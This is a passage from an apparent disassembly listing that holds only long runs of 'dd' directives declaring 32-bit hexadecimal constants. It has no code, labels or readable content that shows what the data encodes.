		dd 6EB0F19h, 1C1DAC3h, 2849F585h, 4A6B5F21h, 0E57A0D24h
		dd 4882183Fh, 3432887h,	0D70CA88Fh, 0A02DD349h,	3EAC7637h
		dd 801C3053h, 5F094663h, 0C97D49E3h, 2BC780A0h,	0C3082E42h
		dd 67824778h, 616213C1h, 0CDE0868Eh, 44E301DAh,	3B4B0F24h
		dd 0B4420B9h, 145B673Ch, 7A43F85h, 7A0D295h, 48DB888Ch
		dd 0AD242B55h, 90A1810Ch, 805838BCh, 0C1E115C0h, 0C01846BDh
		dd 0FAD56FE8h, 3CA43FD7h, 88D61521h, 49C1B8CFh,	1B082E89h
		dd 42B2F88Eh, 59A81166h, 31FE5684h, 0D918C087h,	11E10821h
		dd 3059C5BFh, 0E20F7848h, 7C194151h, 0F71620EAh, 49249CB5h
		dd 0C5180455h, 41D86D31h, 4984267h, 0C4281444h,	5729EC3Dh
		dd 390530A7h, 180466CCh, 0D020EFA4h, 0A93086FBh, 0AE650E8h
		dd 4B080A39h, 0E4D8BD6Bh, 0A68B3102h, 0B353B918h, 2F28119Ch
		dd 50340682h, 8C3ACB10h, 0D8A60D29h, 0C2BC2388h, 3CA5453Dh
		dd 256C3183h, 803C52A3h, 373ED8B8h, 117D79C0h, 7383A64h
		dd 0B0090DECh, 3EDE400Eh, 0DF015539h, 1F3BEB97h, 0F9E0693Fh
		dd 1FFB7E5Eh, 62E371h, 240A592Bh, 6318DDD5h, 0FC4833F1h
		dd 37B10310h, 733FC771h, 7DC05D93h, 3DF02FD0h, 0F18ACB00h
		dd 10AE32Eh, 8F7728FDh,	1D04FCBCh, 945538FFh, 5D843C95h
		dd 26FF3172h, 0B9B4C210h, 3F08231Ah, 1D1805C0h,	3CBB5421h
		dd 7E216118h, 55E3083Fh, 6B8303BCh, 0C23108ABh,	411887C6h
		dd 0AF886CFAh, 131DC170h, 8EE90831h, 0BC5A8B21h, 7F2C07C2h
		dd 0FD10874Dh, 0C703DE3Eh, 88A4F731h, 7F2A7B44h, 57843BF0h
		dd 1523D8F3h, 4C0A33Dh,	2239824Dh, 816C9887h, 76D8A6EEh
		dd 6F2A8C01h, 235754E1h, 4EA110D8h, 794CCFC8h, 0A8375305h
		dd 85717711h, 3C5EFDD5h, 10932D11h, 0D1C5A85Eh,	3C881086h
		dd 2185291Eh, 0C4FCB315h, 0F4372111h, 85414457h, 8311EB86h
		dd 2C81E4FCh, 1A1265CBh, 0A28FA122h, 262B7330h,	7D673037h
		dd 35111F11h, 0F8D44D7Eh, 2D8A1FCh, 60936712h, 1DD871C5h
		dd 467B0C26h, 525152Bh,	9C232B60h, 67F85988h, 6BC268A5h
		dd 0BFD898C6h, 0EDE88B96h, 63006D97h, 0DC8A205Fh, 0B58DC4h
		dd 4D064C6Ah, 0C83BC7ECh, 7E6E8800h, 0FA89B079h, 8D799Dh
		dd 5D5E402Eh, 0C4D31278h, 28A6BB30h, 16C2466h, 0EA552E86h
		dd 8022E5C7h, 936D9250h, 467837h, 4A17A132h, 9A97898Fh
		dd 1A5A1E88h, 0B25B919Ch, 0FF352430h, 9389D804h, 4F209C41h
		dd 0FA805BEDh, 187A8B56h, 58975484h, 9F728976h,	0C5035510h
		dd 0A380A814h, 328A657h, 108C1F6Dh, 18109F65h, 0FF00557Dh
		dd 0C6A25123h, 0CF0056A7h, 1DB7122Dh, 3F29BB97h, 32283D6Fh
		dd 8D541FB5h, 0D4F006EFh, 0BA297801h, 850A945Ah, 481488ACh
		dd 379C270h, 465104F5h,	0C0214DD6h, 870F7D80h, 11C517C5h
		dd 141D3D93h, 0A547B342h, 0E0E48087h, 0A060E7E2h, 675408B0h
		dd 589CC8BBh, 3E86FD00h, 1FD67F45h, 1695EB57h, 46FF01CDh
		dd 5348435Ah, 5FA450CCh, 0BC879C02h, 8AA49199h,	9FE3D180h
		dd 6E89AD9Ah, 6223FE1Dh, 29B3215Eh, 47B0E855h, 989B6539h
		dd 4881BADCh, 24E88F57h, 80B33A2h, 9FD0EFE1h, 3D0F6A36h
		dd 62895B12h, 839B76Ch,	49E8B068h, 51C4413Eh, 0D6215908h
		dd 0C10CF332h, 793D97B3h, 7FEA0108h, 4C87A86Eh,	0E0E9D578h
		dd 8A29956h, 5762D9C1h,	921931ACh, 0B2C883E0h, 311CE13h
		dd 0A52BE688h, 0B0E04F42h, 1E304E15h, 0A834E925h, 0D7BF15D5h
		dd 7F05E889h, 4869E03Dh, 0FD887D30h, 85643D3h, 0ED0A18A6h
		dd 0E09BC3FFh, 3A240D50h, 0EC7E757Ah, 0E6132A14h, 0F9581148h
		dd 9E2077Fh, 0C8EAC4C3h, 0E23F080h, 909F2043h, 8E0C80E4h
		dd 0EFEA06E2h, 0A06A92BFh, 0C712E3E2h, 0E01F9D87h, 9818D514h
		dd 0FBDCEAD6h, 0D592B450h, 36ED1F5Dh, 14370CF6h, 0EF18C5A8h
		dd 55C09E8Bh, 0DDC22480h, 5A234138h, 0CC888347h, 0F3DAFC4h
		dd 87636A68h, 418C712Ah, 11BA223h, 1446C7B4h, 86D62AC8h
		dd 2E052098h, 67FDBB01h, 0A2166CC8h, 0DB6E4081h, 8B7A9D32h
		dd 0C946B90h, 1A0A90A1h, 180BDD31h, 6E92FC90h, 0D863C074h
		dd 0E0900E10h, 61830112h, 0CE39282Bh, 0E03424C7h, 0DBB53209h
		dd 0C82C2F49h, 0B0F00180h, 83A51777h, 22D4167Eh, 0D8E80445h
		dd 88F9AE36h, 6C22327Ch, 0A7D50C54h, 0ED91DFEAh, 513FEF35h
		dd 83A87410h, 0C1DBB135h, 78BCDC7Bh, 99DEFC89h,	89AB0890h
		dd 0A9B2A300h, 42AED9F4h, 9F353096h, 6993EA49h,	1A76B380h
		dd 392E487Ch, 42E08005h, 1226C52Ch, 100E2C61h, 193A47ABh
		dd 186BB53Fh, 9EE1114Ah, 157841A8h, 24DFD584h, 0EB61309h
		dd 14824C00h, 48AA458Bh, 7FA9EC43h, 0FA21114Ah,	1FBE4980h
		dd 8A437B58h, 9B24640Ah, 9823086h, 48C55DAAh, 0A44F124h
		dd 557B1356h, 98450E08h, 0CA221E2h, 603E1041h, 3D894C04h
		dd 0C22F6BD0h, 0BFD09D50h, 0A1C17840h, 594E3134h, 65973C80h
		dd 28408A6Dh, 0C2378738h, 5F306976h, 60BB13B1h,	0C07A11A8h
		dd 60605086h, 8A1D4569h, 567515C1h, 70B4E4h, 3730CD58h
		dd 5E32A1EAh, 9470C26Ah, 0A569D0Bh, 34229418h, 972BFF09h
		dd 0F3E8100Eh, 0EDB12489h, 48F66038h, 0A02496C5h, 1350084Ch
		dd 0A0C9AD1h, 0F64ED3CAh, 91DB0288h, 1802D52Eh,	6F5840A8h
		dd 6D3488C5h, 9F023EE2h, 47FFEAB3h, 8D0A0267h, 0EB0390C6h
		dd 8BED36A0h, 903809F7h, 0CC8322A4h, 0AC51440h,	4120ADB0h
		dd 0E0B3B6D6h, 0E8DC2811h, 0A91495C3h, 978690DEh, 7F61C0A6h
		dd 0B97AA1BEh, 3487603Eh, 68C019A2h, 989EFCC5h,	5BCB3744h
		dd 0E3E8579h, 4EC1ED10h, 606D8C76h, 4F44C2E0h, 10F76512h
		dd 69884F89h, 436F10D9h, 0D0C15810h, 4B08432Eh,	0F731CCC1h
		dd 20E33131h, 0E612549Eh, 2808E105h, 8D914F5h, 46300331h
		dd 686124Dh, 0EA185149h, 0E3B8B015h, 4E170ADCh,	82B04B21h
		dd 2A9748A3h, 762474C8h, 0D7446090h, 4BE212DCh,	0EDB000D8h
		dd 7693D638h, 0E8C1CAF7h
		dd 361BC23h, 0D8833F61h, 844F880Fh, 12A1640h, 57440219h
		dd 0E460B1CFh, 0DE0023FAh, 8A08B8A8h, 718B63A7h, 13AFCE7h
		dd 1B92A573h, 0F8781C3Ch, 5E030F58h, 0CDF50BD9h, 0FA18006Eh
		dd 77B6398Bh, 563C3408h, 0A5448135h, 8F8A0DC9h,	830048BDh
		dd 2CEFFDF2h, 753C8BBFh, 0E163EE7h, 47C889E6h, 3370628Ah
		dd 1244D42h, 0FD01E9E0h, 87A4ED79h, 0F8F29D18h,	0E0723863h
		dd 3170D844h, 0AB189CAh, 612E00E6h, 0B970C086h,	1D5CF3F2h
		dd 0C34ABB0Fh, 85410782h, 6203410Ch, 9C2AA0C0h,	7735903h
		dd 46EEE608h, 0C66770E9h, 0FA2880D4h, 0F89524FDh, 0F87A7337h
		dd 36B430F9h, 0A19A4778h, 25A88367h, 13F449BCh,	0CBE114Ah
		dd 42F815DEh, 926A9007h, 4720F1A6h, 0A0C7FE88h,	678104BCh
		dd 0C1443979h, 88B97DC6h, 8F75A818h, 839C966h, 5FD544F2h
		dd 0B0F819ACh, 10C9BC2Bh, 89070BE1h, 0A0789243h, 0FD373308h
		dd 24979A0Eh, 0AB1B4730h, 32280FA6h, 4F10274Dh,	0F0040A10h
		dd 803A447Fh, 463020C8h, 0A490103Eh, 0A6C699C0h, 38BA86CDh
		dd 0F1003629h, 23F2E4B4h, 7703370Bh, 0CCAB2B41h, 8F318F08h
		dd 30241827h, 0EB86F690h, 0EA6710C0h, 4C0CA0EEh, 26503072h
		dd 0F92E0B38h, 0BBFD733Ah, 1853B1E7h, 0A89860D4h, 0C53718CDh
		dd 0BAF9C463h, 8673A2B4h, 1839E2F0h, 28FA6759h,	0D81E5A22h
		dd 70059CDCh, 5C400180h, 20F5E7A4h, 0E48C334h, 0A9C2E404h
		dd 2E0CF4AFh, 26448820h, 1910C430h, 828480Fh, 2F90357Dh
		dd 5D214F30h, 50246EA0h, 53BACC6h, 0BE251127h, 10F7B440h
		dd 2D748B5h, 616701BAh,	0A080288Bh, 0F280DAFDh,	241B1524h
		dd 759A4102h, 83384087h, 488900D3h, 0F508C1Ch, 0D2E1E53h
		dd 58371E8Fh, 0B382E487h, 6384A0EDh, 0E3089D1h,	0D3E09B1Ch
		dd 88E1FF40h, 47018CE5h, 76EE8BC1h, 0BBD003E9h,	447148EBh
		dd 9EB0D403h, 8CC9885Dh, 7649E027h, 2264FD52h, 0D0F40072h
		dd 0BA7AF51Bh, 6112663Fh, 0D0403D89h, 244FE908h, 0B5F4A811h
		dd 0E576025Eh, 0FDE6814Dh, 0B561BCA7h, 0AB782C83h, 33FCA19h
		dd 210F18h, 444448D6h, 811B14D7h, 0D1200824h, 0C5FC4654h
		dd 0F5CC4054h, 0F109A4E4h, 282833C3h, 0D01A49Ch, 0F7091463h
		dd 0F70C6020h, 5E8631BCh, 11C3CF6Bh, 372FBA1Eh,	86B5D703h
		dd 94F93C76h, 0DEA59704h, 0F48CC0C0h, 20F9FA9Bh, 0D21888F0h
		dd 86181899h, 7F89260Dh, 42D8A354h, 5C008945h, 0FE77C015h
		dd 0B52A0063h, 170DE767h, 64240EA6h, 6008454h, 0CB0FE398h
		dd 2B93F3Eh, 0C5901828h, 96876E8h, 18A1019Ch, 2006B5ABh
		dd 28980D44h, 0BF2E11C2h, 223880BEh, 2FB8386h, 0F1AB7C61h
		dd 1CA77006h, 2A49F050h, 2D48F5CDh, 21A84650h, 0A4CA825h
		dd 9010732Ah, 0A8DB788Ch, 0A97FCA3Ah, 8C1DE82Fh, 3A110823h
		dd 5694A563h, 90095011h, 4420A30Dh, 3EAAE85h, 28D0CE24h
		dd 0A57C5D81h, 0C0560656h, 0A89F8941h, 0B83F8051h, 0C4302C05h
		dd 9318F0A4h, 90B81D1Eh, 19D2309Dh, 0F7818C50h,	220FA400h
		dd 0E4F1F609h, 4C8A276h, 9C98B3B0h, 0BC4E47FAh,	84314959h
		dd 448BFF0Fh, 0F086003h, 0B86148h, 6704B866h, 5205BABFh
		dd 8C02BCA8h, 605ECFD7h, 0B270920h, 8F15093Fh, 5C203746h
		dd 8A411F63h, 4C672E26h, 263BE285h, 4289EC02h, 17444451h
		dd 4E8660h, 0EFC7FD6Ah,	74A08C63h, 88F0E9C0h, 7C12DC26h
		dd 4461A340h, 0BCE01ABh, 9A0D5965h, 0E2EFD070h,	8EED0C0h
		dd 22665FC1h, 2D183386h, 3CB1DF59h, 2B7144h, 0E8880C56h
		dd 0E05D2A75h, 8FDD9700h, 70998C20h, 4FCBFEB3h,	0D3DAF009h
		dd 0EBB8009h, 7CE08248h, 500C0F35h, 47842410h, 2057204Fh
		dd 0E80936ACh, 4D934C2h, 0C44377F8h, 0C2A5AD4Ah, 4420C180h
		dd 169501F3h, 847C06Ah,	0DE83E884h, 337C44Fh, 414E3929h
		dd 111917CEh, 2EF109B7h, 917931BEh, 81982028h, 38103D14h
		dd 4348F70Ah, 0FE8A85C0h, 2733A0C2h, 0F85D28Eh,	0F49E6C40h
		dd 0D0BC4F39h, 6318E8B0h, 9769AA86h, 969E0EEh, 0EA856624h
		dd 3D2D9402h, 30D34D05h, 18D8C520h, 1720B978h, 9E2872C9h
		dd 7DB98806h, 8534249Bh, 71F21814h, 80C8F9C1h, 4828BCEAh
		dd 11AF60F8h, 0FD8052D3h, 7AAA1B18h, 548F749h, 0ED98A0Fh
		dd 0ACC0A95h, 5DE28A88h, 98044998h, 43549036h, 312E6662h
		dd 0A30098C0h, 0F4D64FF7h, 0BE050548h, 0D41469F2h, 0A498C1E4h
		dd 0D8F9D443h, 0FD486C90h, 8BE90C87h, 47591814h, 0FE39019Bh
		dd 0D9DED92h, 91AB040h,	1B1F8C9h, 22E8ABE1h, 5069625Eh
		dd 36932740h, 0D2447767h, 9C18A429h, 18C82884h,	0EF2009Dh
		dd 0FDBB02F5h, 50B0DE44h, 0F5740A0h, 0D54D347Dh, 9B700554h
		dd 0FC030216h, 2C09E7DDh, 1D34D840h, 0B0735879h, 0FF33E937h
		dd 0DD92E811h, 0B73AB300h, 49BB70E7h, 34061C7Bh, 58C3D915h
		dd 0A8B3FA09h, 92288031h, 0C0C5C29Dh, 8F1BF4A8h, 0E092C37Eh
		dd 2E09CA02h, 0CC3ABB1Dh, 1E9973DCh, 0FE7BFE45h, 45C5AA17h
		dd 83B3E1E8h, 58116620h, 0F90CAFF5h, 0F019DA43h, 3B00BC99h
		dd 9D50442Ch, 0C0E028CAh, 92430088h, 33DDD197h,	581EFE0Eh
		dd 0CD40F6FFh, 3F855975h, 0AF56003Ch, 2D2A7C89h, 11508AC0h
		dd 48C20BB8h, 71C0A45h,	1F7BA57Ah, 96FA0DCCh, 504C2319h
		dd 0B30AFDACh, 847DE054h, 13BA2084h, 2D878E00h,	44007E49h
		dd 0D60CF1C1h, 0CF2CD2Ch, 78CEC8Fh, 2186DFF8h, 5604259Ah
		dd 364F12E3h, 120E290h,	111D5DD1h, 0CA8CC0h, 511A954Ch
		dd 83840BE7h, 71D8C1C9h, 0B2E6038Ch, 5560E0C4h,	2AC082C0h
		dd 0AC98D71Eh, 790E750Bh, 8BC82006h, 0D6B88A6Eh, 0E1A60FB8h
		dd 0D93C03F2h, 8EC96FA7h, 354024AAh, 4A68BA05h,	20380FD8h
		dd 284610h, 3847FAF5h, 98F37F2Ch, 0A1B02DCh, 1D27ACEEh
		dd 0D65CE458h, 0CB037A58h, 0C82CC393h, 0FC2BD090h, 8D960F0h
		dd 4BD2C267h, 98640D00h, 9055E804h, 5DC03E0Ch, 43831E3Fh
		dd 7C5B15E3h, 668B0398h, 89250900h, 134B6567h, 641100E0h
		dd 0B635C301h, 26019038h, 181CB425h, 1EF0E461h,	0CB020042h
		dd 0BF24661Fh, 3E004B5Fh, 21A16C0Eh, 498E0Ch, 0CA61463Dh
		dd 6852045Eh, 38BEDF00h, 0DB553F77h, 0D4CE00C0h, 51805D91h
		dd 0A1007434h, 0F5C90B41h, 0A9B98Fh, 548CBEE2h,	1F696B6Fh
		dd 0C119C700h, 25DB6D23h, 0F7FC5Eh, 0FA705530h,	0E8722F7Ah
		dd 0D2896900h, 0B525868Bh, 3A972D1Fh, 30182DFEh, 0FD82B0h
		dd 795BDAAh, 0C142276Bh, 7BD9B501h, 819FFE7Fh, 38CA0EC0h
		dd 0F7804132h, 4E68EB6Ch, 0C600247Ah, 3510D7AAh, 29EF946h
		dd 0FB81FA22h, 7A409BA8h, 0AC003802h, 0D4E032F3h, 478A17h
		dd 0D7FC23C3h, 0F2427753h, 5B3FD0FEh, 2B2780ACh, 3F6DF57Ch
		dd 9FC90BFBh, 18205C7Fh, 830CD43Ch, 0EEC41E00h,	0F9F87DCCh
		dd 0F0AE6F1h, 27427F9Ah, 55614A00h, 0CB0003DCh,	0FC785D22h
		dd 25E8FACAh, 0E0800AFFh, 60EDF13Ah, 98469100h,	351195ACh
		dd 237A44h, 0ECC8E83Ch,	37FE77AAh, 755BB200h, 12784FB3h
		dd 0EA1600C7h, 0AA9E30E8h, 0E51CA771h, 7B404350h, 0AD1080A5h
		dd 3AEA9Fh, 8E052B3Fh, 0F25E469Eh, 0E9D3D903h, 0FEAB295Dh
		dd 0F7B73970h, 8D480F00h, 574DBFCBh, 809A203Ch,	954AFBB4h
		dd 0ABCED6h, 6C990DB6h,	21AE685Dh, 6A979F0Ah, 560080CFh
		dd 0FE1A05A0h, 5DD501E3h, 0E8D6FA18h, 32FDDC78h, 4D709205h
		dd 8800D3FFh, 0F9C67486h
		dd 7FEB008Eh, 0FADD1D40h, 8239FC54h, 0E4C8A80Fh, 1608A500h
		dd 64374FBAh, 152A0E34h, 218022C9h, 7EFFEB56h, 0EA48A59h
		dd 0FF6330FDh, 0A00C8D3h, 3E07377Fh, 850B005Eh,	2DD844B6h
		dd 8700BA33h, 20FDCB47h, 0F31DAACh, 5559A60Dh, 81F87460h
		dd 0DB1F497Dh, 11810796h, 0AB14B845h, 1F719ACCh, 0C2F91FF5h
		dd 0DCDDB50Dh, 98FA0C43h, 0D6B09720h, 42740FAEh, 5A20653Dh
		dd 0B57BABF8h, 5484663h, 0BD6E00B0h, 3B73A9D6h,	1D70D764h
		dd 2E2D9000h, 0D947F221h, 5AB2000Ah, 64B3761h, 0F6F4C705h
		dd 79604102h, 806E2145h, 2FE7BFDCh, 426300C4h, 0EF1B7807h
		dd 0D4043382h, 0DF394D41h, 8A832890h, 0DE590163h, 9B1B49ADh
		dd 3E44740Dh, 40DC9A01h, 556C02C8h, 2E8820h, 30FB1CA5h
		dd 0C94C4475h, 0AC670B00h, 4A154748h, 0CC422A6Bh, 0E8900CE4h
		dd 0A69E6DBh, 9E2B6312h, 0C7802600h, 1217D49h, 0BCC2F429h
		dd 80FA3302h, 0A7059A39h, 0D76535h, 0E7CE7F17h,	2DB4D8C0h
		dd 9CAAD926h, 7ADD6600h, 1ED8825h, 0D38B0D17h, 0D40B3679h
		dd 0A6EAB015h, 3421900h, 65011ED0h, 0BFC600FDh,	296A77EDh
		dd 0D300CE68h, 0F24F9DF6h, 0E2B392D0h, 8A370611h, 28D212ADh
		dd 0D8E6C51Ch, 80E815C0h, 0CB6676h, 539E1929h, 0ACD6FF42h
		dd 3E00B272h, 0E8A0BEEDh, 932C981h, 9E89A950h, 0D76E7C60h
		dd 77C5BB1Ch, 1C3BAC40h, 43F401h, 7DF0D4B3h, 0A55FD2CFh
		dd 622B9630h, 8C82ADh, 6FF68064h, 0B7F8EE03h, 41C4B400h
		dd 209A2E31h, 60C703ADh, 7A6ECF2Fh, 9F539E0h, 646A801h
		dd 9A218D84h, 8A073428h, 0F1499204h, 20DFC1E0h,	7609B5C8h
		dd 2091E3F0h, 1F83FBD0h, 6AE6069Bh, 29BCF1B4h, 81053904h
		dd 0A490DC06h, 0D120BDh, 916AE91Ch, 2E3EA41Ah, 0E7445300h
		dd 2FF63159h, 0DC900067h, 0E8BF8163h, 9F00EA4Eh, 718DAB8h
		dd 3F36EB12h, 8380D110h, 44EE73D5h, 2D00B126h, 0E4A27838h
		dd 7BF15Dh, 815019FBh, 61A39D05h, 80B71450h, 9945AD00h
		dd 60BEFD9Ah, 1CA4001Eh, 94E56E40h, 0A00019D6h,	0EA2EC82Dh
		dd 97104Dh, 0C388646Dh,	0A2C744A4h, 9E761F03h, 0C8181B2Ch
		dd 775DD38Eh, 0B19F02AFh, 0ADE1A4D8h, 1C909D63h, 0C400E5B5h
		dd 948E6409h, 0D4AA6Ch,	77A0EBA6h, 0C6F6DE97h, 0DB1E5B00h
		dd 68FEC1FBh, 4A26002Bh, 0A7198B4Ch, 7470AC32h,	0E70101FAh
		dd 0F61241D0h, 14409F4Eh, 7B3C323h, 0C138554Dh,	2462014h
		dd 0F31D8BC0h, 40C05933h, 0E3123C0Ch, 0D5FE003Ah, 17B3B778h
		dd 0AF0026EEh, 1A50D830h, 5C898Ah, 2013066Dh, 60B71155h
		dd 0CBBEAB1Fh, 2A1EC800h, 2895A14Fh, 84E7E1h, 910E7C9Bh
		dd 8E2552B8h, 0ED73D907h, 101072EBh, 7514D19Eh,	0CC980034h
		dd 626582Eh, 2400C589h,	0D5D93981h, 0E4CF1CB9h,	3457074Fh
		dd 0A05CEF03h, 12A8CD79h, 74E75305h, 0F703AF70h, 0B02894F2h
		dd 0E41EE1Ah, 60CF9B0Ch, 8B18F0C1h, 1D39F45Ah, 0AD3EBB00h
		dd 2E021067h, 89440E25h, 0DE635DF6h, 0C3BD080Eh, 2E03862h
		dd 0C11F7271h, 3201AD03h, 145946DEh, 62D064D1h,	77743082h
		dd 2AF17148h, 30FD6Fh, 9C5DFE89h, 5E06007Bh, 0B1984185h
		dd 26C08601h, 951ECF54h, 0AD2700FBh, 0B008E5EEh, 0B1007B4Eh
		dd 9E4D42F1h, 0E083498Dh, 9FB60016h, 74776E7Dh,	5E140565h
		dd 39603DBBh, 80A4B759h, 39DE3450h, 1837F28h, 0CCD069BAh
		dd 50BECF0Eh, 0A46E1618h, 5839AC05h, 0C103BBBh,	0EE958078h
		dd 26D60Eh, 0CD8941E7h,	6518AA5h, 0BCB4F00Eh, 0D11120FFh
		dd 19F1F6h, 0F90C32C2h,	0A958C820h, 201EB38h, 1C6A9A4Fh
		dd 9BD387DBh, 0FB439801h, 0F43FD4h, 0BCB146C3h,	0B86DFCD8h
		dd 71523200h, 642CDD74h, 0F40700D9h, 1BF38E7h, 0DF48441Fh
		dd 1B6906E2h, 3B0BCF3h,	0E5852E77h, 0C3B02075h,	0DE0C397Fh
		dd 9BF8AF7h, 0F8E10022h, 0FCC9C5F5h, 0F2076DF1h, 0EDB63AEEh
		dd 5BA140C7h, 0EBE0F3D6h, 7A3475ADh, 0C179A9h, 28C61DC8h
		dd 0F6524F5Ah, 33AF3709h, 0F5B3008Fh, 0A127E0h,	2078E6EAh
		dd 2A8286D2h, 5546F800h, 145FB1Bh, 743400DAh, 732BEE08h
		dd 2300FAC4h, 0F521A762h, 0D00755h, 0CFD2C63Bh,	8C96FE3h
		dd 0A9992500h, 7C12055Bh, 755C2E78h, 2D960074h,	7FF13270h
		dd 0A5614507h, 0F9A0C591h, 39BA75h, 514B8BD7h, 53309EF8h
		dd 1B2A601h, 1A7656C8h,	318041B8h, 0A9D12FB0h, 4D039184h
		dd 0C80E0669h, 0F4B09F8Ah, 0B82B61E0h, 1C47716h, 0AB017F05h
		dd 0FC9E3D10h, 0A3016C78h, 0C8AEECCFh, 14203BB1h, 0F8F9002Ch
		dd 0CDE9D1A9h, 2A007206h, 319BB65Fh, 2E7BA5h, 4891F8B5h
		dd 3495031Bh, 72D49701h, 6E058EA7h, 0F53D3F0h, 0ECAFFF69h
		dd 0EC6BCAh, 114A9529h,	0D20FBF7Bh, 20A05190h, 0CC82A640h
		dd 3B0D00B9h, 0D1E1D061h, 41002FBBh, 1BC6CFECh,	718079Ch
		dd 0EF889F9h, 3940FF4Fh, 0A0903D5Dh, 0F5349605h, 0ECC0D1B8h
		dd 84D70Eh, 6B58F175h, 0BE7AE84Eh, 2237A300h, 7360C18Bh
		dd 0E3420070h, 0BB9B40E9h, 2C07BC85h, 0C50576F6h, 9072D502h
		dd 38B30FCh, 374D6132h,	0C09C1DEFh, 0B3FA4C4Fh,	3D8ACF00h
		dd 2CA685F0h, 19AC0061h, 2202D7D4h, 730092F6h, 0CD64124Eh
		dd 391A2D3h, 29252D95h,	3EB21CE8h, 71A90555h, 87AA7A82h
		dd 392351D0h, 1D0EC0EBh, 28360034h, 9D3AFD7Fh, 8700DEBAh
		dd 6DC39608h, 0B077F4EAh, 0ED6E0D4h, 395C7F6Fh,	71CF4387h
		dd 34AB8348h, 0C6005FC4h, 4216C0CCh, 4D67F4h, 0AC3F4764h
		dd 0F2B90698h, 38DE2C1Eh, 0A4F15C01h, 2D4DB97h,	313E00C3h
		dd 9E1A56E1h, 7E509415h, 417324F1h, 0D3896903h,	11C76A4Bh
		dd 2084AA70h, 33BE0764h, 92A31DFDh, 84C89622h, 0B300CEA6h
		dd 1FE4603Ah, 0E70BF6h,	5B3BDB6Ch, 0D2B2A1D4h, 0C7F13Fh
		dd 3968F289h, 3EE07E4h,	25A4DAECh, 4801E2E7h, 1595888Bh
		dd 80302DFFh, 59BBF6C9h, 4A0EC4CDh, 1CB224AAh, 1584800Ch
		dd 657F8020h, 0CDC47400h, 32A6CBCEh, 0ADAB18D9h, 40D2B260h
		dd 36304100h, 0B13791BAh, 0D0986079h, 2E507D02h, 0FFDA6400h
		dd 805ED68Fh, 3A490045h, 8467A07Eh, 2F006D73h, 5C127647h
		dd 58420211h, 0E7032FA6h, 80A1B134h, 65761EB8h,	995BEB01h
		dd 7744CB31h, 3A153A70h, 0C2807EECh, 42566DF0h,	0CC2EC150h
		dd 3073EF2h, 807EC034h,	5D78F945h, 0CFF72CF4h, 8B370C75h
		dd 36005238h, 0B74450B9h, 881640h, 0ABB3FCFFh, 4AD742F4h
		dd 0B9CB3Eh, 3D111999h,	4874D4h, 0AC2AE821h, 0D88B7117h
		dd 0C2BB6A00h, 0E658E92Ch, 1B960363h, 0D51F9D91h, 8239A5D0h
		dd 40CC3B00h, 55C460BFh, 27900077h, 0F2F7652Ch,	0A7007D5Ah
		dd 1CC85A2h, 1C9691DCh,	3AA079C9h, 36F4F682h, 44C0132Fh
		dd 0FCB9D2EDh, 87042B0Fh, 0C8AA83F6h, 9645C30Fh, 0E6899A00h
		dd 18148A18h, 7157EA22h, 2D1CE592h, 32800686h, 5C68C45Ah
		dd 0A5A70037h, 0CC3096BCh, 0AB006B79h, 322FAECFh, 9A4506h
		dd 684F4BE0h, 12098699h, 76037900h, 6626153Ah, 0AA57092Bh
		dd 6427BBA3h, 0D3450088h, 0DA00AF7Eh, 0FBD2ABD8h, 4C6924B9h
		dd 140348B3h, 12AD9E8Dh, 0C60110CEh, 0E9582DC8h, 0AFF04041h
		dd 8B780002h, 86144895h, 0ED7F70B8h, 0C1C7C09h,	205000A9h
		dd 0CD1DBCFh, 632A57BFh, 533A6948h, 17993FEEh, 3C4E7615h
		dd 0C6AE00DCh, 0C562E7E2h, 808E0D28h, 141E7640h, 89E49F30h
		dd 3C35732Ah, 5F8784D2h
		dd 1F761F89h, 12C05BEEh, 6FEE5244h, 79B46D00h, 1B97C915h
		dd 5F0A0788h, 1EF884h, 0A6F9C003h, 91A9D400h, 577E0BC1h
		dd 75CB2463h, 497D0338h, 5FFB0A07h, 0B680BFE5h,	92439h
		dd 4570C490h, 8BF9E0ADh, 0EC5ACD00h, 5037D694h,	697AE2h
		dd 4AA2E919h, 0D0FFB8B4h, 0B2ED1500h, 0E548B1E8h, 0C7030212h
		dd 37739FFCh, 740F144Ch, 0C0F639A8h, 0BC52691Bh, 51A00F4h
		dd 7863100Fh, 620FAADDh, 408A64E5h, 16754569h, 49FE0050h
		dd 0E7329017h, 0A100123Bh, 7D3C4EABh, 546071h, 4D620151h
		dd 0C55957AFh, 7028C700h, 0B165FB7Bh, 0AD19001Fh, 0FEF9DDF5h
		dd 450001A4h, 9ACCE538h, 0B3CDCFh, 11DC8975h, 9E430FDBh
		dd 3CBC8000h, 9004847Fh, 0E8C500B5h, 45B6DA98h,	0EF18BAC9h
		dd 2F189221h, 617517h, 0F75AFC0Fh, 0A099CFAAh, 6D214060h
		dd 36B02E4h, 0F36EFAB0h, 0BAFA2F9Dh, 5E7194E8h,	0C79B4700h
		dd 2C158A62h, 756A0330h, 0D6C9130Ch, 4CE21BD0h,	3E006472h
		dd 2279C1B1h, 0F3AA40Dh, 0B8FF7281h, 0A623D1C0h, 8E003613h
		dd 0CC7CB09Fh, 0BBD857h, 21DDED69h, 7991D73h, 91618C5h
		dd 0E3867EC0h, 0E93E72A1h, 205BC09Bh, 0A3E099C3h, 94035A15h
		dd 3050BC20h, 0DC78E814h, 3654007Dh, 0D93BB398h, 3E1F7759h
		dd 438E6944h, 95084016h, 0CFCDE56Eh, 0D6ACE380h, 4D000950h
		dd 0DC440765h, 9B027Eh,	0C76F94Bh, 69D222BCh, 40194F33h
		dd 6907B2Ah, 8C87B03Eh,	0CC0D385Ch, 0C00250D6h,	72F18EE0h
		dd 8F20007Ch, 46052B84h, 0E7004832h, 83FD03C8h,	97B17Dh
		dd 85A1CF02h, 0A2EB4739h, 10148200h, 36C6E4C0h,	0A4E80094h
		dd 0B6499BA1h, 0DF005B12h, 8265868Eh, 90CE93h, 0D485A37h
		dd 41E34666h, 0A18C9E01h, 3497CD0h, 38BD36DCh, 0D01C623h
		dd 8E2992D8h, 0C83F307Ah, 0CF0E300h, 458DDC1Dh,	32EB8AEh
		dd 0CA80D503h, 0AAD85E0Ah, 587C6D14h, 932CB000h, 1DAFECDh
		dd 9989009Eh, 735DCB3Ah, 0BD07800Fh, 5EB11DB0h,	2FFF6440h
		dd 8C4C5005h, 32AC00C0h, 0D634A95Ch, 2E00AFB2h,	80A06F5Eh
		dd 0ACA6A0Ah, 0A8D12AD7h, 0D6F6009Ch, 4F2FDCEh,	9B0A40DEh
		dd 1E8EB0B1h, 4C7F9058h, 9500BB33h, 322214Dh, 0B01E5506h
